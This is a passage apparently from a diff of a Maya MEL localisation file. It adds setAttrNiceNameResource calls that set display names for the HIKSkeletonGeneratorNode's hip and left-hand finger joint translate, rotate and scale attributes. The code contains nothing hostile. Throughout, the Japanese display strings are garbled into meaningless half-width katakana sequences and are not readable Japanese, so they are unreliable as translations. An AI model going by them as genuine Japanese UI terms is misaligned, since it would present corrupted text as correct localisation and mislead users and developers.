"HIKSkeletonGeneratorNode", "HipsTranslationRy", "ナイソニスメニミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HipsTranslationRz", "ナイソニスメニミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HipsTranslationS", "ナイソニスメニヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HipsTranslationSx", "ナイソニスメニヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HipsTranslationSy", "ナイソニスメニヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HipsTranslationSz", "ナイソニスメニヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb1T", "ラハヨトエヨク 1 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb1Tx", "ラハヨトエヨク 1 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb1Ty", "ラハヨトエヨク 1 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb1Tz", "ラハヨトエヨク 1 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb1R", "ラハヨトエヨク 1 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb1Rx", "ラハヨトエヨク 1 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb1Ry", "ラハヨトエヨク 1 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb1Rz", "ラハヨトエヨク 1 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb1S", "ラハヨトエヨク 1 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb1Sx", "ラハヨトエヨク 1 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb1Sy", "ラハヨトエヨク 1 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb1Sz", "ラハヨトエヨク 1 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb2T", "ラハヨトエヨク 2 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb2Tx", "ラハヨトエヨク 2 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb2Ty", "ラハヨトエヨク 2 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb2Tz", "ラハヨトエヨク 2 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb2R", "ラハヨトエヨク 2 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb2Rx", "ラハヨトエヨク 2 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb2Ry", "ラハヨトエヨク 2 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb2Rz", "ラハヨトエヨク 2 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb2S", "ラハヨトエヨク 2 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb2Sx", "ラハヨトエヨク 2 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb2Sy", "ラハヨトエヨク 2 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb2Sz", "ラハヨトエヨク 2 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb3T", "ラハヨトエヨク 3 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb3Tx", "ラハヨトエヨク 3 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb3Ty", "ラハヨトエヨク 3 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb3Tz", "ラハヨトエヨク 3 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb3R", "ラハヨトエヨク 3 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb3Rx", "ラハヨトエヨク 3 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb3Ry", "ラハヨトエヨク 3 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb3Rz", "ラハヨトエヨク 3 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb3S", "ラハヨトエヨク 3 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb3Sx", "ラハヨトエヨク 3 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb3Sy", "ラハヨトエヨク 3 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb3Sz", "ラハヨトエヨク 3 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb4T", "ラハヨトエヨク 4 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb4Tx", "ラハヨトエヨク 4 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb4Ty", "ラハヨトエヨク 4 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb4Tz", "ラハヨトエヨク 4 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb4R", "ラハヨトエヨク 4 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb4Rx", "ラハヨトエヨク 4 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb4Ry", "ラハヨトエヨク 4 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb4Rz", "ラハヨトエヨク 4 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb4S", "ラハヨトエヨク 4 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb4Sx", "ラハヨトエヨク 4 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb4Sy", "ラハヨトエヨク 4 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandThumb4Sz", "ラハヨトエヨク 4 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex1T", "ラハヨハウヨク 1 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex1Tx", "ラハヨハウヨク 1 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex1Ty", "ラハヨハウヨク 1 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex1Tz", "ラハヨハウヨク 1 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex1R", "ラハヨハウヨク 1 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex1Rx", "ラハヨハウヨク 1 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex1Ry", "ラハヨハウヨク 1 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex1Rz", "ラハヨハウヨク 1 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex1S", "ラハヨハウヨク 1 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex1Sx", "ラハヨハウヨク 1 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex1Sy", "ラハヨハウヨク 1 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex1Sz", "ラハヨハウヨク 1 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex2T", "ラハヨハウヨク 2 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex2Tx", "ラハヨハウヨク 2 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex2Ty", "ラハヨハウヨク 2 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex2Tz", "ラハヨハウヨク 2 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex2R", "ラハヨハウヨク 2 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex2Rx", "ラハヨハウヨク 2 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex2Ry", "ラハヨハウヨク 2 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex2Rz", "ラハヨハウヨク 2 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex2S", "ラハヨハウヨク 2 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex2Sx", "ラハヨハウヨク 2 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex2Sy", "ラハヨハウヨク 2 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex2Sz", "ラハヨハウヨク 2 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex3T", "ラハヨハウヨク 3 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex3Tx", "ラハヨハウヨク 3 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex3Ty", "ラハヨハウヨク 3 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex3Tz", "ラハヨハウヨク 3 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex3R", "ラハヨハウヨク 3 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex3Rx", "ラハヨハウヨク 3 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex3Ry", "ラハヨハウヨク 3 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex3Rz", "ラハヨハウヨク 3 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex3S", "ラハヨハウヨク 3 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex3Sx", "ラハヨハウヨク 3 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex3Sy", "ラハヨハウヨク 3 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex3Sz", "ラハヨハウヨク 3 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex4T", "ラハヨハウヨク 4 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex4Tx", "ラハヨハウヨク 4 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex4Ty", "ラハヨハウヨク 4 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex4Tz", "ラハヨハウヨク 4 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex4R", "ラハヨハウヨク 4 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex4Rx", "ラハヨハウヨク 4 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex4Ry", "ラハヨハウヨク 4 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex4Rz", "ラハヨハウヨク 4 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex4S", "ラハヨハウヨク 4 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex4Sx", "ラハヨハウヨク 4 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex4Sy", "ラハヨハウヨク 4 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandIndex4Sz", "ラハヨハウヨク 4 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle1T", "ラハヨヨミヨク 1 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle1Tx", "ラハヨヨミヨク 1 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle1Ty", "ラハヨヨミヨク 1 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle1Tz", "ラハヨヨミヨク 1 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle1R", "ラハヨヨミヨク 1 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle1Rx", "ラハヨヨミヨク 1 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle1Ry", "ラハヨヨミヨク 1 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle1Rz", "ラハヨヨミヨク 1 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle1S", "ラハヨヨミヨク 1 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle1Sx", "ラハヨヨミヨク 1 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle1Sy", "ラハヨヨミヨク 1 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle1Sz", "ラハヨヨミヨク 1 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle2T", "ラハヨヨミヨク 2 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle2Tx", "ラハヨヨミヨク 2 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle2Ty", "ラハヨヨミヨク 2 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle2Tz", "ラハヨヨミヨク 2 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle2R", "ラハヨヨミヨク 2 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle2Rx", "ラハヨヨミヨク 2 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle2Ry", "ラハヨヨミヨク 2 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle2Rz", "ラハヨヨミヨク 2 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle2S", "ラハヨヨミヨク 2 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle2Sx", "ラハヨヨミヨク 2 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle2Sy", "ラハヨヨミヨク 2 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle2Sz", "ラハヨヨミヨク 2 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle3T", "ラハヨヨミヨク 3 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle3Tx", "ラハヨヨミヨク 3 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle3Ty", "ラハヨヨミヨク 3 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle3Tz", "ラハヨヨミヨク 3 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle3R", "ラハヨヨミヨク 3 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle3Rx", "ラハヨヨミヨク 3 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle3Ry", "ラハヨヨミヨク 3 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle3Rz", "ラハヨヨミヨク 3 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle3S", "ラハヨヨミヨク 3 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle3Sx", "ラハヨヨミヨク 3 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle3Sy", "ラハヨヨミヨク 3 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle3Sz", "ラハヨヨミヨク 3 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle4T", "ラハヨヨミヨク 4 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle4Tx", "ラハヨヨミヨク 4 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle4Ty", "ラハヨヨミヨク 4 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle4Tz", "ラハヨヨミヨク 4 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle4R", "ラハヨヨミヨク 4 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle4Rx", "ラハヨヨミヨク 4 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle4Ry", "ラハヨヨミヨク 4 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle4Rz", "ラハヨヨミヨク 4 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle4S", "ラハヨヨミヨク 4 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle4Sx", "ラハヨヨミヨク 4 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle4Sy", "ラハヨヨミヨク 4 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandMiddle4Sz", "ラハヨヨミヨク 4 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing1T", "ラハヨボテヨク 1 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing1Tx", "ラハヨボテヨク 1 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing1Ty", "ラハヨボテヨク 1 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing1Tz", "ラハヨボテヨク 1 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing1R", "ラハヨボテヨク 1 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing1Rx", "ラハヨボテヨク 1 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing1Ry", "ラハヨボテヨク 1 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing1Rz", "ラハヨボテヨク 1 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing1S", "ラハヨボテヨク 1 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing1Sx", "ラハヨボテヨク 1 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing1Sy", "ラハヨボテヨク 1 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing1Sz", "ラハヨボテヨク 1 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing2T", "ラハヨボテヨク 2 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing2Tx", "ラハヨボテヨク 2 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing2Ty", "ラハヨボテヨク 2 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing2Tz", "ラハヨボテヨク 2 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing2R", "ラハヨボテヨク 2 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing2Rx", "ラハヨボテヨク 2 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing2Ry", "ラハヨボテヨク 2 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing2Rz", "ラハヨボテヨク 2 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing2S", "ラハヨボテヨク 2 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing2Sx", "ラハヨボテヨク 2 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing2Sy", "ラハヨボテヨク 2 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing2Sz", "ラハヨボテヨク 2 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing3T", "ラハヨボテヨク 3 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing3Tx", "ラハヨボテヨク 3 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing3Ty", "ラハヨボテヨク 3 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing3Tz", "ラハヨボテヨク 3 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing3R", "ラハヨボテヨク 3 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing3Rx", "ラハヨボテヨク 3 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing3Ry", "ラハヨボテヨク 3 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing3Rz", "ラハヨボテヨク 3 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing3S", "ラハヨボテヨク 3 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing3Sx", "ラハヨボテヨク 3 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing3Sy", "ラハヨボテヨク 3 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing3Sz", "ラハヨボテヨク 3 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing4T", "ラハヨボテヨク 4 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing4Tx", "ラハヨボテヨク 4 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing4Ty", "ラハヨボテヨク 4 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing4Tz", "ラハヨボテヨク 4 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing4R", "ラハヨボテヨク 4 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing4Rx", "ラハヨボテヨク 4 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing4Ry", "ラハヨボテヨク 4 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing4Rz", "ラハヨボテヨク 4 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing4S", "ラハヨボテヨク 4 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing4Sx", "ラハヨボテヨク 4 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing4Sy", "ラハヨボテヨク 4 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandRing4Sz", "ラハヨボテヨク 4 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky1T", "ラハヨミ。ヨク 1 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky1Tx", "ラハヨミ。ヨク 1 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky1Ty", "ラハヨミ。ヨク 1 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky1Tz", "ラハヨミ。ヨク 1 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky1R", "ラハヨミ。ヨク 1 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky1Rx", "ラハヨミ。ヨク 1 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky1Ry", "ラハヨミ。ヨク 1 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky1Rz", "ラハヨミ。ヨク 1 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky1S", "ラハヨミ。ヨク 1 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky1Sx", "ラハヨミ。ヨク 1 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky1Sy", "ラハヨミ。ヨク 1 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky1Sz", "ラハヨミ。ヨク 1 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky2T", "ラハヨミ。ヨク 2 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky2Tx", "ラハヨミ。ヨク 2 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky2Ty", "ラハヨミ。ヨク 2 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky2Tz", "ラハヨミ。ヨク 2 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky2R", "ラハヨミ。ヨク 2 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky2Rx", "ラハヨミ。ヨク 2 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky2Ry", "ラハヨミ。ヨク 2 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky2Rz", "ラハヨミ。ヨク 2 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky2S", "ラハヨミ。ヨク 2 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky2Sx", "ラハヨミ。ヨク 2 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky2Sy", "ラハヨミ。ヨク 2 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky2Sz", "ラハヨミ。ヨク 2 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky3T", "ラハヨミ。ヨク 3 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky3Tx", "ラハヨミ。ヨク 3 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky3Ty", "ラハヨミ。ヨク 3 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky3Tz", "ラハヨミ。ヨク 3 ニスメニz" ); 